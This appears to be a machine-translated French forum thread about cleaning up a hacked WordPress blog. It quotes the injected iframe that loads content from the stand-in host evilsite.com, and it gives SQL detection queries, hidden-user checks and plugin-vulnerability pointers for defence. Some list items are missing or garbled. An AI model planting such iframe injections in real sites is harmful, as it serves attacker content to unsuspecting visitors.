Mon blog WordPress amusant/ http://fakeplasticrock.com (sous WordPress 3.1.1) a été piraté - il affichait un <iframe>
sur chaque page de la manière suivante:
<iframe src="http://evilsite.com/go/1"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
J'ai fait ce qui suit
Je suis bien sûr que
/theme
, le plugin Exploit Scanner (que je viens de télécharger), le dossier /uploads
et une infime poignée d'autres fichiers attendus. Mon autre plugin, wp-recaptcha, correspond à la version téléchargée officielle actuelle..htaccess
et rien n'y a l'air mauvaisJe n'ai pas touché à la base de données , mais j'ai du mal à comprendre comment un élément de la base de données pourrait être malveillant sans le code spécial PHP pour le faire fonctionner?
Mon blog WordPress semble OK et sans piratage maintenant (je pense), mais y at-il autre chose que je devrais vérifier?
Avez-vous identifié le vecteur de l'exploit? Sinon, vous vous laissez peut-être ouvert à de futurs exploits.
Autres points à considérer:
.htaccess
En regardant le message de "navigation sécurisée" de Google Chrome, vous obtenez le "bidouillage .cc iFrame" qui semble faire beaucoup de bruit récemment. Je pense que 3.1.3 va résoudre ce problème, mais vérifiez votre fichier index.php à la racine si votre site Web, c'est là qu'il a continué à me frapper jusqu'à ce que tout soit mis à jour et les mots de passe modifiés.
Il y a des choses très délicates que les gens peuvent faire avec des injections de post et de commentaires. Vous pouvez exécuter les requêtes suivantes sur votre base de données pour vous aider à en trouver. J'ai blogué le reste de mon "suivi" ici .
SELECT * FROM wp_posts WHERE post_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%display:%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<?%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<?php%'
SELECT * FROM wp_comments WHERE comment_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%display:%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<?%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<?php%'
J'espère que cela t'aides!
La base de données peut également contenir du code malveillant: comptes d'utilisateurs cachés ou valeurs imprimées non échappées quelque part. Vérifiez également dans votre répertoire de téléchargement les fichiers qui n'y appartiennent pas.
Oh, et essayez de comprendre comment l'attaquant s'est frayé un chemin dans votre site. Sur les comptes partagés, c'est souvent le serveur entier. Consultez les autres sites sur le serveur pour rechercher des blogs piratés ou d’autres pages. Lisez votre journal FTP. Si vous ne savez pas comment cela s’est passé, vous ne pouvez pas empêcher la prochaine pause.
Désolé de vous avoir piraté - on dirait que vous avez fait un bon travail de récupération!
Votre système de fichiers semble doré, je ne dirais pas que vous pouvez faire autre chose ici.
Je pense qu'Exploit Scanner émettrait un avertissement s’il trouvait des scripts, des iframes, PHP (bien que dangereux uniquement), ou d’autres codes inhabituels dans votre base de données.
Je ne sais pas s'il vérifie les tableaux autres que les posts et les commentaires. Vaut peut-être la peine de consulter /wp-admin/options.php
pour un rapide coup d'œil et voir si vous trouvez quelque chose d'étrange.
Je vérifierais également votre table d'utilisateurs dans un client MySQL (les utilisateurs peuvent être dans la base de données mais ne sont pas visibles dans l'admin).
Vérifiez les outils Google Webmaster pour deux choses:
En outre, je ré-implémenterais le thème ou le vérifierais avec la plus grande attention. Quelques lignes de PHP peuvent redéfinir les fonctions principales PHP afin qu'elles extraient du code malveillant de la base de données, en particulier des tables de magasin de clés/valeurs wp_options.
Recherchez "iframe" dans la base de données via phpmyadmin ou videz la base de données et recherchez le texte.
Et recherchez les utilisateurs invisibles dans la table users; J'ai vu des utilisateurs dans les tables ne figurant pas dans WP Admin >> Utilisateurs.
Options de nettoyage "Plugins WordPress montrera quel junk de vieux plugins potentiellement vulnérables reste dans la base de données.
La balise <head>
manque également à votre thème. Par conséquent, je vérifierai si vous avez modifié le thème pour supprimer les mauvais liens.
Et l'habituel: et Comment trouver une porte dérobée dans un WordPress piraté et Durcir WordPress "WordPress Codex
"Y a-t-il autre chose que je devrais vérifier?" Vous devez examiner votre processus et déterminer comment vous avez été piraté (presque certainement parce que vous n'avez pas corrigé à temps ou correctement) et y remédier également, pas seulement les symptômes.
J'ai eu un bidon très similaire que j'ai dû réparer sur l'un de mes sites clients.
Il y avait des scripts malveillants dans le système de fichiers (php base64_decode). Cependant, les tables 'posts' et 'comments' de la base de données avaient été compromises et le code iframe était également dispersé dans ces données.
Je voudrais au moins faire quelques recherches sur la base de données, juste pour être en sécurité. :)
Cela m'est arrivé une fois, à travers une fuite sur mediatemple. Je devais écrire un plugin pour vérifier la base de données pour les liens injectés. Vous pouvez le saisir ici comme un github Gist .
Il est assez convivial, comporte plusieurs étapes qui fournissent des commentaires et vérifient à nouveau votre base de données une fois que vous avez terminé.
Bonne chance!
Vérifiez vos plugins!, Jusqu'à présent cette année, il y a eu 60 versions d'exploitation de plugins .org, je suppose que le nombre réel est bien plus élevé puisque personne ne le fait vraiment à plein temps.
Vous avez indiqué ne disposer que d'un seul plug-in, et bien il y avait une faille de sécurité (vous ne savez pas combien de temps il est sorti, et ce n'est peut-être pas le vecteur).
wp-recaptcha-plugin
L'exploit est sorti: 2011-03-18
Exploit version: 2.9.8
L'auteur a déclaré avoir réécrit avec la version 3.0, mais le correctif de sécurité n'est pas mentionné.
http://www.wpsecure.net/2011/03/wp-recaptcha-plugin/
Journal des modifications: http://wordpress.org/extend/plugins/wp-recaptcha/changelog/
J'utilise un serveur de nuage et ai des numéros de port sack loufoques et aléatoires, pas de ftp du tout. Les mots de passe sont extrêmement difficiles à pirater. Tout accès root est complètement refusé. Je suis d'accord que WordPress ne va pas être votre coupable. Une autre chose à vérifier est les sessions ftp non fermantes, les virus sur votre ordinateur personnel (rappelez-vous que vous pouvez charger un fichier sur votre site et qui charge jamais ce fichier peut obtenir le même virus), ne conservez pas vos mots de passe sur des sites publics ou privés. les sites les mettent toujours sur papier, jamais sur un document Word ou un bloc-notes.
Enfin, demandez à votre hôte s’il a récemment eu une brèche car il devrait avoir une configuration de pare-feu.
Vérifiez la date de vos fichiers. Aucun fichier ne doit avoir une donnée de changement plus récente que votre dernière modification/installation!
Mais cela peut aussi être simulé. Le moyen le plus sûr d’être sûr serait de comparer (par exemple, une comparaison de hachage) tous les fichiers avec les fichiers d’installation d’origine.